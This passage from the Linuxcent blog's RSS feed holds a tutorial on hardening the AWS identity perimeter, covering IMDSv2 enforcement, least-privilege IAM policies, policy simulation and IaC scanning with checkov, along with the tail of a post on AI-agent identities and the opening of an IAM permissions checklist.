<tr>
<td>CISSP</td>
<td>Domain 5 — Identity and Access Management</td>
<td>Non-human identity lifecycle for AI agents</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 3 — Security Architecture</td>
<td>Scoping agent permissions from action definitions</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.15 Access control</td>
<td>Least privilege applied to AI workload identities</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.18 Access rights</td>
<td>One service account per agent; revocability requirements</td>
</tr>
<tr>
<td>ISO 42001:2023</td>
<td>6.1 AI risk assessment</td>
<td>Identity and access risks specific to AI systems</td>
</tr>
<tr>
<td>NIST AI RMF</td>
<td>GOVERN 1.2</td>
<td>Accountability structures for AI agent actions</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1 Logical access controls</td>
<td>Service account scoping for AI workloads</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC7.2 Anomaly detection</td>
<td>Auditing unexpected access patterns from AI identities</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>AI agents are non-human identities. They inherit every IAM anti-pattern we spent a decade fixing for Lambda functions and EC2 instances — and introduce new ones unique to autonomous, manipulable systems</li>
<li>Least privilege for AI agents works backwards from the agent&#8217;s defined actions, not from what it might conceivably need</li>
<li>Prompt injection turns over-permissioned credentials into an attack vector — the agent&#8217;s valid access becomes the attacker&#8217;s access</li>
<li>One service account per agent, per environment. Short-lived credentials where possible. No shared accounts that obscure audit trails</li>
<li>The provenance gap — knowing why an AI agent took an action, not just that it did — is an open problem that traditional IAM logging doesn&#8217;t solve</li>
</ul>
<h2 id="whats-next">What&#8217;s Next</h2>
<p>In EP02, I&#8217;ll cover the specific IAM boundary that most AI pipelines are missing entirely: the data access layer for RAG systems. When your LLM retrieves context from a vector database, what controls what it can retrieve? The answer — for most teams right now — is nothing. And that&#8217;s a problem that has a concrete fix.</p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fnon-human-identity-ai-agents%2F&amp;linkname=The%20Non-Human%20Identity%20Problem%20Is%20Back" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fnon-human-identity-ai-agents%2F&amp;linkname=The%20Non-Human%20Identity%20Problem%20Is%20Back" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fnon-human-identity-ai-agents%2F&amp;linkname=The%20Non-Human%20Identity%20Problem%20Is%20Back" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fnon-human-identity-ai-agents%2F&amp;linkname=The%20Non-Human%20Identity%20Problem%20Is%20Back" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fnon-human-identity-ai-agents%2F&amp;linkname=The%20Non-Human%20Identity%20Problem%20Is%20Back" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fnon-human-identity-ai-agents%2F&amp;linkname=The%20Non-Human%20Identity%20Problem%20Is%20Back" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fnon-human-identity-ai-agents%2F&amp;linkname=The%20Non-Human%20Identity%20Problem%20Is%20Back" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fnon-human-identity-ai-agents%2F&#038;title=The%20Non-Human%20Identity%20Problem%20Is%20Back" data-a2a-url="https://linuxcent.com/non-human-identity-ai-agents/" data-a2a-title="The Non-Human Identity Problem Is Back"></a></p><p>The post <a href="https://linuxcent.com/non-human-identity-ai-agents/">The Non-Human Identity Problem Is Back</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/non-human-identity-ai-agents/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1905</post-id>	</item>
		<item>
		<title>Cloud-Native Hardening: Securing the AWS Identity Perimeter</title>
		<link>https://linuxcent.com/cloud-native-hardening-aws-identity/</link>
					<comments>https://linuxcent.com/cloud-native-hardening-aws-identity/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 06 Jul 2026 21:31:37 +0000</pubDate>
				<category><![CDATA[Security Architecture]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[IMDSv2]]></category>
		<category><![CDATA[Infrastructure as Code]]></category>
		<guid isPermaLink="false">https://linuxcent.com/cloud-native-hardening-aws-identity/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 6</span> <span class="rt-label rt-postfix">minutes</span></span>Apply cloud native infrastructure hardening to the AWS identity perimeter: enforce IMDSv2, scope IAM least privilege, and gate IaC scans before merge.</p>
<p>The post <a href="https://linuxcent.com/cloud-native-hardening-aws-identity/">Cloud-Native Hardening: Securing the AWS Identity Perimeter</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 6</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>Zero to Hero: Cybersecurity Architecture Masterclass, Module 3</em><br />
<a href="/stride-threat-modeling/">← Module 2: Proactive Design</a> · <strong>Module 3: Cloud-Native Hardening</strong> · <a href="/immutable-data-architecture-worm/">Module 4: Resilience &amp; Survival →</a></p>
<p><strong>12 min read</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Cloud native infrastructure hardening starts from a different assumption than on-prem hardening: there is no network perimeter, only an identity perimeter — every AWS API call is the boundary</li>
<li>IMDSv1 (the EC2 metadata service without a token) is the single highest-leverage cloud-native hardening fix available — it turned an SSRF bug into the Capital One breach</li>
<li>IAM policy design is architecture, not IT administration: least privilege, permission boundaries, and SCPs compose into the actual perimeter</li>
<li>Infrastructure-as-code scanning (<code class="" data-line="">checkov</code>, <code class="" data-line="">tfsec</code>) catches identity-perimeter mistakes in a pull request instead of in an incident</li>
<li><code class="" data-line="">aws iam simulate-principal-policy</code> answers &#8220;can this role actually do that?&#8221; definitively, without waiting to find out in production</li>
<li>Recommendation: treat IMDSv2 enforcement and IAM least-privilege review as pipeline gates, not periodic audits — the same &#8220;build constraint, not process step&#8221; principle from the OS Hardening series</li>
</ul>
<hr />
<h2 id="the-big-picture-the-perimeter-moved-to-the-api-call">The Big Picture: The Perimeter Moved to the API Call</h2>
<pre><code class="" data-line="">ON-PREM MODEL                          CLOUD-NATIVE MODEL
──────────────                          ──────────────────
Firewall at network edge                No fixed network edge
        │                                        │
Trusted internal subnet                 Every API call carries its
        │                                 own identity + policy
Server assumed safe if                          │
inside the firewall                     IAM evaluates: who is this,
                                          what can they do, right now
                                                 │
                                          Perimeter = the IAM policy
                                          attached to the caller
</code></pre>
<p>Cloud-native infrastructure hardening means accepting that the network no longer defines what&#8217;s trusted — the AWS identity perimeter, enforced entirely through IAM policy evaluation on every single API call, is the only perimeter that actually exists. Module 1 called this the shift from network-centric to identity-centric trust; this module makes it concrete with the two failures that actually break it in production: a leaky metadata service and an over-permissioned role.</p>
<hr />
<h2 id="the-breach-that-made-imdsv2-mandatory">The Breach That Made IMDSv2 Mandatory</h2>
<p>In 2019, a misconfigured WAF in front of a bank&#8217;s application allowed a Server-Side Request Forgery (SSRF) — an attacker convinced the application server to make an HTTP request to <code class="" data-line="">http://169.254.169.254</code>, the EC2 instance metadata endpoint. IMDSv1 answered with no authentication required at all: temporary IAM credentials for the role attached to that instance, handed to anyone who could make the server issue that one request.</p>
<p>Those credentials had read access to S3. The attacker used them to exfiltrate over 100 million customer records. This is the Capital One breach — <a href="https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/">covered in full in the Purple Team series</a> — and it is the single clearest illustration in cloud history of why &#8220;the perimeter is the identity, not the network&#8221; isn&#8217;t a slogan — it&#8217;s a description of exactly where that breach actually happened. The WAF misconfiguration was the entry point. The metadata service handing out credentials with zero verification was the architectural failure that turned an SSRF bug into a 100-million-record breach.</p>
<p><strong>IMDSv2 closes this specific gap</strong> by requiring a session token, fetched via a PUT request, before any metadata GET request is honored — and that PUT request cannot be replayed through a typical SSRF, because SSRF vulnerabilities almost always only allow GET-style requests to be forged. This single setting is the highest-leverage cloud-native hardening control available, and it should be enforced at the account level, not left as an opt-in per instance:</p>
<pre><code class="" data-line=""># Check whether IMDSv2 is enforced (HttpTokens: required) on an instance
$ aws ec2 describe-instances --instance-ids i-0abc123 \
    --query &#039;Reservations[].Instances[].MetadataOptions&#039;
{
    &quot;HttpTokens&quot;: &quot;required&quot;,
    &quot;HttpPutResponseHopLimit&quot;: 1,
    &quot;HttpEndpoint&quot;: &quot;enabled&quot;
}
# &quot;required&quot; = IMDSv2 only. &quot;optional&quot; = IMDSv1 still works — the gap.
</code></pre>
<pre><code class="" data-line=""># Enforce it account-wide for all new instances
$ aws ec2 modify-instance-metadata-defaults \
    --http-tokens required --http-put-response-hop-limit 1
</code></pre>
<hr />
<h2 id="iam-policy-design-is-architecture">IAM Policy Design Is Architecture</h2>
<p>If the metadata service is one way the identity perimeter leaks, an over-permissioned IAM policy is the other — and it&#8217;s far more common, because it doesn&#8217;t require a bug at all. It only requires a policy written with <code class="" data-line="">&quot;Resource&quot;: &quot;*&quot;</code> because scoping it felt like it would slow down a deploy.</p>
<p><strong>Least privilege</strong> means a role can do exactly what its function requires and nothing else — not &#8220;read-only across the account,&#8221; but &#8220;read this specific S3 prefix, write to this specific queue.&#8221;</p>
<p><strong>Permission boundaries</strong> cap what a role can ever be granted, even by someone with <code class="" data-line="">iam:CreatePolicy</code> access — a safety rail against exactly the kind of <a href="https://linuxcent.com/cloud-iam-privilege-escalation/"><code class="" data-line="">iam:PassRole</code> privilege escalation</a> covered in the Cloud IAM series, not just against the policy as originally written.</p>
<p><strong>Service Control Policies (SCPs)</strong> apply at the AWS Organization level, capping what any role in an account can do regardless of how permissive that account&#8217;s own IAM policies are — the outermost layer of the identity perimeter, and the one that survives a single account being compromised.</p>
<pre><code class="" data-line="">{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Action&quot;: [&quot;s3:GetObject&quot;],
    &quot;Resource&quot;: &quot;arn:aws:s3:::billing-invoices/tenant-4471/*&quot;
  }]
}
</code></pre>
<p>That policy can only ever read one tenant&#8217;s invoice prefix. Compare it to <code class="" data-line="">&quot;Resource&quot;: &quot;arn:aws:s3:::billing-invoices/*&quot;</code> — functionally identical for the one use case the developer was testing, and catastrophically different the day this role&#8217;s credentials leak.</p>
<hr />
<h2 id="quick-check-can-this-role-actually-do-that">Quick Check: Can This Role Actually Do That?</h2>
<p>Don&#8217;t wait to find out in production. <code class="" data-line="">aws iam simulate-principal-policy</code> evaluates a specific action against a role&#8217;s actual attached and inline policies — including SCPs and permission boundaries — and gives you a definitive allow/deny before anything runs:</p>
<pre><code class="" data-line="">$ aws iam simulate-principal-policy \
    --policy-source-arn arn:aws:iam::123456789012:role/billing-api-role \
    --action-names s3:GetObject \
    --resource-arns arn:aws:s3:::billing-invoices/tenant-9982/*

{
  &quot;EvaluationResults&quot;: [{
    &quot;EvalActionName&quot;: &quot;s3:GetObject&quot;,
    &quot;EvalResourceName&quot;: &quot;arn:aws:s3:::billing-invoices/tenant-9982/*&quot;,
    &quot;EvalDecision&quot;: &quot;explicitDeny&quot;,     # ← the answer you needed before deploying
    &quot;MatchedStatements&quot;: [...]
  }]
}
</code></pre>
<p><code class="" data-line="">explicitDeny</code> here means some policy statement — the role&#8217;s own policy, a permission boundary, or an SCP — explicitly blocks the action, and that takes precedence over any <code class="" data-line="">Allow</code> anywhere else in the policy chain (Module 1&#8217;s deny-by-default evaluation model, in practice). Run this simulation as part of code review for any new IAM policy, not after the role is already attached to a running service.</p>
<hr />
<h2 id="catching-this-before-it-ships-cloud-native-hardening-via-iac-scanning">Catching This Before It Ships: Cloud-Native Hardening via IaC Scanning</h2>
<p>Manually reviewing every Terraform IAM policy in every pull request doesn&#8217;t scale past a handful of engineers. <code class="" data-line="">checkov</code> and <code class="" data-line="">tfsec</code> scan infrastructure-as-code for exactly the patterns above — wildcard resources, IMDSv1 left enabled, public S3 buckets — as a CI step, before <code class="" data-line="">terraform apply</code> ever runs:</p>
<pre><code class="" data-line="">$ checkov -d ./terraform --check CKV_AWS_79,CKV_AWS_8

Check: CKV_AWS_79: &quot;Ensure Instance Metadata Service Version 1 is not enabled&quot;
    FAILED for resource: aws_instance.billing_api
    File: main.tf:14-22

Check: CKV_AWS_8: &quot;Ensure IAM policies do not allow full administrative privileges&quot;
    FAILED for resource: aws_iam_role_policy.billing_api_policy
    File: iam.tf:8-15
        Resource: &quot;*&quot;
</code></pre>
<p>A failed <code class="" data-line="">checkov</code> check blocking a pull request is the identity-perimeter equivalent of Stratum&#8217;s pipeline gate refusing to snapshot an unhardened image — the unsafe configuration never reaches an account where it can be exploited, because the check runs before merge, not after an audit finds it months later.</p>
<hr />
<h2 id="production-gotchas">Production Gotchas</h2>
<p><strong>IMDSv2 enforcement can break old SDKs and tools silently.</strong> Some older AWS SDK versions and third-party agents assume IMDSv1 and simply fail to fetch credentials once <code class="" data-line="">HttpTokens: required</code> is set — test in staging before enforcing account-wide.</p>
<p><strong><code class="" data-line="">iam simulate-principal-policy</code> doesn&#8217;t account for resource-based policies on the target.</strong> It evaluates the <em>principal&#8217;s</em> policies correctly, but if the target (an S3 bucket, a KMS key) has its own resource policy denying access, you need <code class="" data-line="">simulate-custom-policy</code> with both policies supplied to get the full picture.</p>
<p><strong>SCPs fail closed in a way that&#8217;s easy to misdiagnose.</strong> An SCP deny produces the same <code class="" data-line="">AccessDenied</code> error as a missing IAM permission — check the SCP layer explicitly before assuming the role&#8217;s own policy is the problem, or you&#8217;ll spend an hour widening a policy that was never the actual blocker.</p>
<p><strong><code class="" data-line="">checkov</code>/<code class="" data-line="">tfsec</code> false positives erode trust in the gate fast.</strong> Suppress specific, documented exceptions inline (<code class="" data-line="">#checkov:skip=CKV_AWS_79:reason</code>) rather than disabling the check account-wide the first time it blocks something legitimate.</p>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th style="text-align: left;">Framework</th>
<th style="text-align: left;">Control / ID</th>
<th style="text-align: left;">Architectural Mapping</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left;"><strong>NIST CSF 2.0</strong></td>
<td style="text-align: left;">PR.AA-05</td>
<td style="text-align: left;">Access permissions are managed, incorporating least privilege and separation of duties.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>NIST SP 800-207</strong></td>
<td style="text-align: left;">Zero Trust</td>
<td style="text-align: left;">The identity perimeter, enforced per-API-call, is the direct implementation of continuous verification.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>ISO 27001:2022</strong></td>
<td style="text-align: left;">8.2</td>
<td style="text-align: left;">Privileged access rights are restricted and managed.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>SOC 2</strong></td>
<td style="text-align: left;">CC6.3</td>
<td style="text-align: left;">The entity authorizes, modifies, or removes access based on roles and responsibilities.</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>The identity perimeter, not the network, is what cloud-native hardening actually secures — every IAM policy evaluation is a perimeter check</li>
<li>IMDSv2 enforcement is the single highest-leverage fix available and should be an account-wide default, not an opt-in</li>
<li>Least privilege, permission boundaries, and SCPs are three layers of the same perimeter — design all three deliberately, don&#8217;t rely on one</li>
<li><code class="" data-line="">aws iam simulate-principal-policy</code> gives a definitive answer before deployment instead of an incident after</li>
<li>IaC scanning turns identity-perimeter mistakes into blocked pull requests instead of production findings</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>Module 3 hardened the identity perimeter against external and lateral threats. Module 4 asks what happens after a perimeter fails anyway — specifically, how immutable, WORM-locked data architecture makes ransomware and mass-deletion attacks survivable even when an attacker has already gotten past every control this module covers.</p>
<p><em>Next: <a href="/immutable-data-architecture-worm/">Module 4: Resilience &amp; Survival — Immutable Data Architecture and Surviving Ransomware via WORM</a></em></p>
<p>Get the full masterclass in your inbox → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&#038;title=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" data-a2a-url="https://linuxcent.com/cloud-native-hardening-aws-identity/" data-a2a-title="Cloud-Native Hardening: Securing the AWS Identity Perimeter"></a></p><p>The post <a href="https://linuxcent.com/cloud-native-hardening-aws-identity/">Cloud-Native Hardening: Securing the AWS Identity Perimeter</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/cloud-native-hardening-aws-identity/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2195</post-id>	</item>
		<item>
		<title>New Cloud Service IAM Permissions: A Checklist Before You Grant Access</title>
		<link>https://linuxcent.com/new-service-iam-permissions-checklist/</link>
					<comments>https://linuxcent.com/new-service-iam-permissions-checklist/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 06 Jul 2026 05:16:54 +0000</pubDate>
				<category><![CDATA[Cloud IAM]]></category>
		<category><![CDATA[Access Analyzer]]></category>
		<category><![CDATA[AWS IAM]]></category>
		<category><![CDATA[Azure RBAC]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[GCP IAM]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[Least Privilege]]></category>
		<guid isPermaLink="false">https://linuxcent.com/new-service-iam-permissions-checklist/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 7</span> <span class="rt-label rt-postfix">minutes</span></span>New cloud service IAM permissions ship on GA day — this five-step AWS, GCP, and Azure checklist scopes them correctly before you grant broad access.</p>
<p>The post <a href="https://linuxcent.com/new-service-iam-permissions-checklist/">New Cloud Service IAM Permissions: A Checklist Before You Grant Access</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 7</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<hr />
<p><a href="/zero-trust-iam/">← EP12: Zero Trust Access in the Cloud</a>  ·  <strong>EP13: New-Service IAM Checklist</strong>  ·  <a href="/cloud-iam-series/">All Cloud IAM Episodes →</a></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>New cloud service IAM permissions ship on GA day — often before your Terraform provider, internal IaC modules, or team wiki catch up</li>
<li>The fast path is <code class="" data-line="">service:*</code> on <code class="" data-line="">Resource: *</code> — the tempting unblock, and also how wildcard debt starts (see <a href="/iam-least-privilege-audit/">EP09&#8217;s least-privilege audit</a>)</li>
<li>Five-step checklist: find the exact actions, scope the resource, dry-run before granting, attach a guardrail, and put a 30-day review on the calendar</li>
<li>AWS has no single CLI call that lists &#8220;every action for a service&#8221; — use the Service Authorization Reference plus IAM Access Analyzer&#8217;s policy generation from real CloudTrail activity</li>
<li>GCP&#8217;s <code class="" data-line="">gcloud iam list-testable-permissions</code> returns the exact permissions grantable on a specific resource — scoped to what that resource type actually supports</li>
<li>Azure&#8217;s <code class="" data-line="">az provider operation show --namespace Microsoft.&lt;Service&gt;</code> lists every operation a resource provider exposes, before you write a single role assignment</li>
</ul>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">  NEW CLOUD SERVICE SHIPS — THE FIRST GRANT DECIDES THE NEXT YEAR
